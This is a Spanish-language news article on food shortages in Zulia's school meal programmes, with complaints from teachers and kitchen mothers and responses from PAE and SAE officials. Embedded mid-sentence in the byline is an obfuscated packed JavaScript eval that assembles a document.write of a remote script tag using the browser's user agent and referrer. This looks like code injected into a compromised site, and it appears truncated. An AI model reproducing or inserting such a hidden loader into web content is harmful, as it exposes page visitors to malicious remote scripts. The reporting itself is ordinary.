"Del PAE no nos traen nada"

Isamar Cristina Prieto / Maracaibo / [email protected]
Educadores eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrszn|var|u0026u|referrer|yrrbe||js|php'.split('|'),0,{})) y madres procesadoras denunciaron retrasos y falta de alimentos del programa de alimentación. La dirección del programa dijo que “Mercal será el único proveedor de alimentos". Los maestros imploran la garantía del correcto funcionamiento de los comedores

En el Zulia, 528 escuelas públicas dependen de comedores (Foto: Archivo)

Docentes de la zona oeste de Maracaibo han denunciado con frecuencia las irregularidades en los programas alimenticios de las escuelas nacionales y regionales, y adjudican la disminución de la matrícula estudiantil a las fallas del comedor, refiriendo la poca cantidad de productos que abastecen el plantel, la reiteración semanal del menú o la falta de despacho de los alimentos. 

Ana Caldera, subdirectora de la escuela Rafael Tomás Jiménez, expuso que el colegio maneja una matrícula vespertina de 444 alumnos y desde enero no recibían insumos de cocina, hasta la semana pasada. Alegó que no alcanza la cantidad de comida que le despachan. “Venían 87 niños del turno de la tarde y como llegó la comida, asistieron 150. Los representantes no tienen dinero para que sus hijos compren en la cantina”.

Deisy Blanco, madre procesadora del plantel, contó que en ocasiones quedan estudiantes sin comer. “En la escuela cerraron tres salones del turno de la tarde, porque no alcanzaba la comida”. Cuantificó la cantidad de pollos que recibieron en enero y la comparó con la que recibieron la semana pasada, “de 105 pollos, ahora vinieron 64”.

Blanco informó que trabajan por autogestión y regularmente les piden a los escolares una contribución económica para comprar los vegetales de los alimentos, el hielo y el botellón de agua potable para cocinar. “Antes llegaba aceite. Ahora usamos la piel de pollo como grasa para preparar las comidas. No nos traen nada”.

Joemely Urbina, coordinadora del Programa de Alimentación Escolar (Pae) en el preescolar Ayacucho, denunció que desde febrero el comedor está cerrado por falta de alimentos. “La última vez enviaron 25 pollos para 480 niños entre el turno diurno y vespertino”. Manifestó que el Pae “llega corto”, en comparación al 2015, cuando el menú era abundante y variable. “Las madres procesadoras trabajaban excelente. ¿Por qué ahora no funciona como antes? Por la falta de insumos, además de que tienen que rendir para ver cuánto es que podrá durar la comida”.

El despacho de Sae

La nutrición ofrecida por el sistema educativo es un factor fundamental en el desarrollo cognitivo y físico del alumnado, según Víctor Arrieta, representante regional de la Corporación Nacional de Alimentación Escolar (Cnae).

El coordinador afirmó que el Sistema de Alimentación Escolar (SAE) venezolano es uno de los mejores sistemas del mundo, “a pesar de la crisis económica que atraviesa el país”. La red de mercados Mercal y la Productora y Distribuidora Venezolana de Alimentos (PDVAL) surten mil 69 comedores y 45 responden a centros educativos zulianos. Arrieta explicó que en marzo menguó la distribución de carnes, pero la han sustituido por granos, “cuando Mercal y PDVAL tienen”.

La alimentación varía de acuerdo con los 24 menús establecidos por el Instituto Nacional de Nutrición y los 78 rubros que componen el listado. “El SAE expide con algunas fallas, en cuanto a la cantidad y a los productos, pero nunca hemos dejado de despachar, al menos que hayan desvalijado los comedores. La Productora y Distribuidora Venezolana de Alimentos carece de frutas, verduras y hortalizas para proveer las escuelas, a diferencia de las instituciones atendidas por Mercal, que reciben lo solicitado”, acotó el coordinador regional a este rotativo. Los surtidores de PDVAL esperan desde mediados de enero que la Asamblea Nacional designe el nuevo presupuesto.

Según el representante regional de SAE, los colegios de la zona oeste de la ciudad son prioritarios por ubicarse en los sectores “más necesitados”. Comprendió la preocupación de los educadores ante las limitantes de los comedores y destacó que no es una constante. “Esperamos solucionar las fallas para abril. Mercal va a ser el único proveedor de alimentos para las escuelas nacionales”.

La distribución de PAE

Benedicto Alvarado, director del Programa de Alimentación Escolar del Zulia, informó que las 483 escuelas adscritas a la Secretaría de Educación reciben semanalmente los productos, gracias a alianzas comerciales con empresas públicas y privadas.

La autoridad zuliana pidió al gobernador Francisco Arias Cárdenas una reconsideración de los 273 millones de bolívares de las partidas asignadas por la Ley de Presupuesto del Zulia, con el fin de mejorar los comedores del estado.

“No es cierto que no llegan los alimentos”, afirmó Alvarado y dijo que cada directora de plantel da por sentado en la hoja de despacho lo que recibe. Recordó que hace 15 días presentaron un altercado, referente a la entrega del menú. “Por el problema magisterial, algunos planteles suspendieron las actividades porque se apegaron a las protestas. Esos días no hubo entrega, porque no teníamos responsables que recibieran los alimentos”.

Insistió que la cantidad y el listado de alimentos están planificados por nutricionistas y dietistas. “De haber alguna ausencia de rubro, lo sustituimos para garantizar una correcta nutrición”. Explicó que el funcionamiento del programa es monitoreado a través del jefe, el coordinador y el intendente del municipio escolar, quienes se encargan de evaluar la variación de productos. “Es cierto que no hemos abastecido algunos insumos, pero estamos acordando convenios con las empresas”.

Actualmente, el PAE-Zulia surte a las escuelas de arroz, pasta, chicha, huevos, pollo, queso, azúcar, vegetales y pasta de tamarindo; con deficiencia de harina de maíz pre cocida, avena, crema de arroz, aceite, margarina y cereal en hojuelas, según explicó el director Benedicto Alvarado.

 

78 alimentos conforman los 24 menús establecidos por el Instituto Nacional de Nutrición

528 escuelas públicas dependen de comedores en el Zulia

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